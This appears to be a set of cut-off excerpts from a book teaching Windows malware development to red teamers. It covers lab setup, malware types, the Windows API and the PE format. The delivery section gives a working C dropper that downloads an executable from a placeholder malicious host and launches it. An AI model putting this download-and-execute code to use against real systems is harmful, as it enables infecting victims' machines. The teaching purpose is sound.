In this book, I will use the Kali Linux (https://www.kali.org/) and Parrot Security OS (https://www.parrotsec.org/) virtual machines for development and demonstration and Windows 10 (https://www.microsoft.com/en-us/software-download/windows10ISO) as the victim’s machine.

In the book’s repository, you can find instructions for setting up virtual machines according to the VirtualBox documentation.

The next thing we’ll want to do is set up our development environment in Kali Linux. We’ll need to make sure we have the necessary tools installed, such as a text editor, compiler, etc.

I just use NeoVim (https://github.com/neovim/neovim) with syntax highlighting as a text editor. Neovim is a great choice for a lightweight, efficient text editor, but you can use another you like, for example, VSCode (https://code.visualstudio.com/).

As far as compiling our examples, I use MinGW (https://www.mingw-w64.org/) for Linux, which is installed...

Whether you’re a specialist in red team or pentesting operations, gaining knowledge of malware development techniques and tricks offers an encompassing view of sophisticated attacks. Furthermore, considering that a significant portion of traditional malwares are developed under Windows, it inherently provides a practical understanding of Windows development.

Malware is a type of software designed to conduct malicious actions, such as gaining unauthorized access to a computer or stealing sensitive information from a computer. The term malware is typically associated with illegal or criminal activity, but it can also be used by ethical hackers, such as penetration testers and red teamers, to execute an authorized security assessment of an organization.

Developing custom tools, such as malware, that have not been analyzed or signed by security vendors provides the attacking team with an advantage in terms of detection. This is where knowledge...

This chapter provides an overview of the various malware behaviors, some of which you may already be familiar with. My objective is to provide a summary of common behaviors and to equip you with a well-rounded knowledge base that will enable you to develop a variety of malicious applications. Because new malware is constantly being created with seemingly limitless capabilities, I cannot possibly cover every type of malware, but I can give you a decent idea of what to look for.

Types of malware

Let’s start by discussing some of the most common types of malware. There are many different categories, but we can start by talking about viruses, worms, and trojans. Viruses are pieces of code that attach themselves to other programs and replicate themselves, often causing damage in the process. Worms are similar to viruses, but they are self-replicating and can spread across networks without human intervention. Trojans are pieces of...

The Windows API allows developers to interact with the Windows operating system via their applications. For instance, if an application needs to display something on the screen, modify a file, or download something from the internet, all of these tasks can be accomplished through the Windows API. Microsoft provides extensive documentation for the Windows API, which can be viewed on MSDN.

Practical example

Here is a straightforward C program that uses the Windows API to retrieve and display the name of the current user. Remember that, while this program is not inherently harmful, comprehending these principles can serve as a stepping stone to the development of more complex (potentially harmful) programs. Use this information responsibly at all times:

#include <windows.h>
#include <stdio.h>
int main() {
  char username[UNLEN + 1];
  DWORD username_len = UNLEN + 1;
  GetUserName(username...

What is the PE-file format? It is the native file format of Win32. It derives some of its specifications from Unix Coff (common object file format). The meaning of portable executable is that the file format is ubiquitous across the Win32 platform; the PE loader of each Win32 platform recognizes and uses this file format, even when Windows is running on CPU platforms other than Intel. It does not imply that your PE executables can be migrated without modification to other CPU platforms. Consequently, analyzing the PE file format offers valuable insights into the Windows architecture.

The PE file format is fundamentally defined by the PE header, so you should read about that first. You don’t need to comprehend every aspect of it, but you should understand its structure and be able to identify the most essential components:

• DOS header: The DOS header contains the information required to launch PE files. Therefore, this preamble is required...

We’ll provide some simple examples of malware delivery techniques. Note that these are simplified examples and concepts; real-world malware often employs more sophisticated strategies and evasion techniques, which you can read about in future chapters:

• Download and execute malware from a remote server: A malware might be hosted on a remote server and a dropper program can be used to download and execute it:

  #include <windows.h>
  #include <urlmon.h>
  #pragma comment(lib, "urlmon.lib")
  int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow) {
    URLDownloadToFile(NULL, "http://maliciouswebsite.com/malware.exe", "C:\\temp\\malware.exe", 0, NULL);
    ShellExecute(NULL, "open", "C:\\temp\\malware.exe", NULL, NULL, SW_SHOWNORMAL);
    return 0;
  }

• Drive by downloads (malicious web sites): When...

In the realm of ethical hacking, understanding malware development is a vital and complex skill that transcends mere code writing. Malware development for ethical purposes involves the simulation, analysis, and study of malicious software to uncover tricks and techniques used by hackers, enhance defense mechanisms, and provide insight into potential threats.

By simulating malware, ethical hackers can develop robust security measures and preemptively guard against future attacks. For instance, a simple keylogger, written in C, can be designed to capture keystrokes, demonstrating how malware can covertly gather sensitive information. Another example might involve crafting a benign worm in C++ that propagates across a controlled network, illustrating how malware can spread and the importance of network security.

By delving into these and other examples, we will have laid the foundation for understanding malware from an ethical perspective, emphasizing responsible practices...